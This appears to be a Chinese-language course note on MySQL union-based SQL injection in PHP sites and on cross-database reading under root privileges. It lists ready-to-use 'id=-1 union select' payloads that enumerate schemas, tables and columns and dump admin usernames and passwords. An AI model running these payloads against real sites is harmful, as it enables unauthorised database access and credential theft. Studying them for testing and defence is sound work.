Day42 PHP(mysql注入、跨库读取)
一、sql注入
基本原理:没有对用户输入的数据进行限制,导致数据库语句可以做什么,用户就可以做什么。取决于不同数据库的不同查询语言,所以为什么有mysql注入/orcale注入等等。
步骤:
【access】
表名(字典爆破来猜)
列名
值
【mysql等】
数据库名( database()获得 )
表名(information_schema.tables表获得)
列名(information_schema.columns表获得)
值(select 列名 from 表名)
思路:
00x1 初步搜集信息及数据库名
判断字段数,找哪些位置可以回显这些相关信息。
找到交界处ok的最大值
是6
在对应的回显位进行基本数据收集 user()、version()、database()
id=1没反应就试试id=-1
00x2 拿到数据库名,去找表名
id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='demo01'
id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='库名'
记得用group_concat集合查询出所有表名。
00x3 拿到表名,去找表中列名
id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='admin'
id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='表名'
00x4 直接表内查询数据
id=-1 union select 1,2,group_concat(username),4,group_concat(password),6 from admin
id=-1 union select 1,2,group_concat(列1),4,group_concat(列2),6 from 表名
二、跨库读取
前置:root登录 一个root管理多个数据库
普通用户登录 一个用户只能管理一个数据库
所以如果是root登录,我们可以尝试跨库读取,从A站点得到B站点的登录信息。也就是为什么我们刚刚初步搜集信息的时候要user()。
总结:A站被打到,那么root管理下的其他B站也会被打到
00x1 root下所有数据库名获取
判断字段数为6
id=-1 union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata
00x2 找到库,去找表名
id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='xwtj'
id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='库名'
00x3 找到表,去找列名
id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='fz_admin'
id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='表名'
00x4 查询数据
id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from xwtj.fz_admin
id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from 数据库名.表名
一定注意 这里是跨库,所以必须库名.表名